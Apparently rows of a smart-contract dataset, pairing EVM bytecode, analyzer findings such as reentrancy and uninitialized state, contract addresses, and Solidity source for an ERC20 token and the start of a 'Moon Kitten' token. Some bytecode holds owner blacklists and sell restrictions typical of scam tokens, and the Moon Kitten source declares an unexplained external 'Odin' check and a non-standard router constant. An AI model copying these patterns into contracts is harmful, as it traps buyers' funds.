5b5061044860048036038101906104439190612089565b610e9b565b60405161045591906120e4565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b604051610480919061203b565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190612247565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb919061203b565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611f2e565b611620565b6040516105289190611f87565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610565906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610591906123a0565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc6123d2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061074190612430565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610826906124eb565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b48906123a0565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612557565b60405180910390fd5b610ccd60008383611eb7565b8060066000828254610cdf9190612577565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612577565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190611f87565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec6906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef2906123a0565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d6123d2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061108290612430565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790612619565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611288919061264e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611313919061264e565b6040518363ffffffff1660e01b815260040161133092919061267b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611373919061264e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611444969594939291906126e9565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061275f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b9291906127b2565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e9190612807565b5050565b6007805461159f906123a0565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb906123a0565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611716906128a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178690612938565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190611f87565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e1906129ca565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119f557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b4757600960009054906101000a900460ff1680611aaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b075750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d90612a5c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611baf5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c075750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c3d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611c4657600080fd5b611c51838383611eb7565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90612aee565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d6a9190612577565b92505081905550436004600b54611d819190612577565b118015611ddb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611e4b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611e3e9190612b0e565b60405180910390a3611eb1565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ea89190611f87565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611efb82611ed0565b9050919050565b611f0b81611ef0565b8114611f1657600080fd5b50565b600081359050611f2881611f02565b92915050565b60008060408385031215611f4557611f44611ec6565b5b6000611f5385828601611f19565b9250506020611f6485828601611f19565b9150509250929050565b6000819050919050565b611f8181611f6e565b82525050565b6000602082019050611f9c6000830184611f78565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fdc578082015181840152602081019050611fc1565b83811115611feb576000848401525b50505050565b6000601f19601f8301169050919050565b600061200d82611fa2565b6120178185611fad565b9350612027818560208601611fbe565b61203081611ff1565b840191505092915050565b600060208201905081810360008301526120558184612002565b905092915050565b61206681611f6e565b811461207157600080fd5b50565b6000813590506120838161205d565b92915050565b600080604083850312156120a05761209f611ec6565b5b60006120ae85828601611f19565b92505060206120bf85828601612074565b9150509250929050565b60008115159050919050565b6120de816120c9565b82525050565b60006020820190506120f960008301846120d5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61213c82611ff1565b810181811067ffffffffffffffff8211171561215b5761215a612104565b5b80604052505050565b600061216e611ebc565b905061217a8282612133565b919050565b600067ffffffffffffffff82111561219a57612199612104565b5b602082029050602081019050919050565b600080fd5b60006121c36121be8461217f565b612164565b905080838252602082019050602084028301858111156121e6576121e56121ab565b5b835b8181101561220f57806121fb8882611f19565b8452602084019350506020810190506121e8565b5050509392505050565b600082601f83011261222e5761222d6120ff565b5b813561223e8482602086016121b0565b91505092915050565b60006020828403121561225d5761225c611ec6565b5b600082013567ffffffffffffffff81111561227b5761227a611ecb565b5b61228784828501612219565b91505092915050565b6000806000606084860312156122a9576122a8611ec6565b5b60006122b786828701611f19565b93505060206122c886828701611f19565b92505060406122d986828701612074565b9150509250925092565b600060ff82169050919050565b6122f9816122e3565b82525050565b600060208201905061231460008301846122f0565b92915050565b6000602082840312156123305761232f611ec6565b5b600061233e84828501611f19565b91505092915050565b61235081611ef0565b82525050565b600060208201905061236b6000830184612347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123b857607f821691505b602082108114156123cc576123cb612371565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061243b82611f6e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561246e5761246d612401565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006124d5602883611fad565b91506124e082612479565b604082019050919050565b60006020820190508181036000830152612504816124c8565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b6000612541601f83611fad565b915061254c8261250b565b602082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b600061258282611f6e565b915061258d83611f6e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125c2576125c1612401565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612603601783611fad565b915061260e826125cd565b602082019050919050565b60006020820190508181036000830152612632816125f6565b9050919050565b60008151905061264881611f02565b92915050565b60006020828403121561266457612663611ec6565b5b600061267284828501612639565b91505092915050565b60006040820190506126906000830185612347565b61269d6020830184612347565b9392505050565b6000819050919050565b6000819050919050565b60006126d36126ce6126c9846126a4565b6126ae565b611f6e565b9050919050565b6126e3816126b8565b82525050565b600060c0820190506126fe6000830189612347565b61270b6020830188611f78565b61271860408301876126da565b61272560608301866126da565b6127326080830185612347565b61273f60a0830184611f78565b979650505050505050565b6000815190506127598161205d565b92915050565b60008060006060848603121561277857612777611ec6565b5b60006127868682870161274a565b93505060206127978682870161274a565b92505060406127a88682870161274a565b9150509250925092565b60006040820190506127c76000830185612347565b6127d46020830184611f78565b9392505050565b6127e4816120c9565b81146127ef57600080fd5b50565b600081519050612801816127db565b92915050565b60006020828403121561281d5761281c611ec6565b5b600061282b848285016127f2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612890602483611fad565b915061289b82612834565b604082019050919050565b600060208201905081810360008301526128bf81612883565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612922602283611fad565b915061292d826128c6565b604082019050919050565b6000602082019050818103600083015261295181612915565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129b4602583611fad565b91506129bf82612958565b604082019050919050565b600060208201905081810360008301526129e3816129a7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a46602383611fad565b9150612a51826129ea565b604082019050919050565b60006020820190508181036000830152612a7581612a39565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612ad8602683611fad565b9150612ae382612a7c565b604082019050919050565b60006020820190508181036000830152612b0781612acb565b9050919050565b6000602082019050612b2360008301846126da565b9291505056fea26469706673582212202b1354886bd08be1a3a9980c35f839083ade9730e0146e722c42eb5cd71733fc64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,108 |
0x6dedbe6b8fe3bb65af322e1b3b115b9a56653d1f
|
/**
*Submitted for verification at Etherscan.io on 2021-05-07
*/
pragma solidity 0.4.26;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply, address recipient) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[recipient] = _balances[recipient].add(_totalSupply);
emit Transfer(address(0), recipient, uint256(totalSupply));
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
}
|
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c578063313ce567146101c657806339509351146101f157806370a082311461021557806395d89b4114610236578063a457c2d71461024b578063a9059cbb1461026f578063dd62ed3e14610293575b600080fd5b3480156100bf57600080fd5b506100c86102ba565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a0360043516602435610350565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a6103ce565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a03600435811690602435166044356103d4565b3480156101d257600080fd5b506101db610471565b6040805160ff9092168252519081900360200190f35b3480156101fd57600080fd5b50610161600160a060020a036004351660243561047a565b34801561022157600080fd5b5061018a600160a060020a036004351661052a565b34801561024257600080fd5b506100c8610545565b34801561025757600080fd5b50610161600160a060020a03600435166024356105a6565b34801561027b57600080fd5b50610161600160a060020a03600435166024356105f1565b34801561029f57600080fd5b5061018a600160a060020a0360043581169060243516610607565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103465780601f1061031b57610100808354040283529160200191610346565b820191906000526020600020905b81548152906001019060200180831161032957829003601f168201915b5050505050905090565b6000600160a060020a038316151561036757600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a038316600090815260016020908152604080832033845290915281205482111561040457600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054610438908363ffffffff61063216565b600160a060020a0385166000908152600160209081526040808320338452909152902055610467848484610649565b5060019392505050565b60055460ff1690565b6000600160a060020a038316151561049157600080fd5b336000908152600160209081526040808320600160a060020a03871684529091529020546104c5908363ffffffff61073b16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103465780601f1061031b57610100808354040283529160200191610346565b6000600160a060020a03831615156105bd57600080fd5b336000908152600160209081526040808320600160a060020a03871684529091529020546104c5908363ffffffff61063216565b60006105fe338484610649565b50600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000808383111561064257600080fd5b5050900390565b600160a060020a03831660009081526020819052604090205481111561066e57600080fd5b600160a060020a038216151561068357600080fd5b600160a060020a0383166000908152602081905260409020546106ac908263ffffffff61063216565b600160a060020a0380851660009081526020819052604080822093909355908416815220546106e1908263ffffffff61073b16565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282018381101561074d57600080fd5b93925050505600a165627a7a72305820958b8f624485728002e3e8573cd703c50d5c8584c6720353166aa8b8502da6ed0029
|
{"success": true, "error": null, "results": {}}
| 4,109 |
0x5A8176ab2bfA1A1D389aA400dC0eed6CaA771E98
|
/**
*Submitted for verification at Etherscan.io on 2021-11-05
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/MoonKittenToken
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=1000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Moon Kitten";
string constant TOKEN_SYMBOL="MOONKITTEN";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
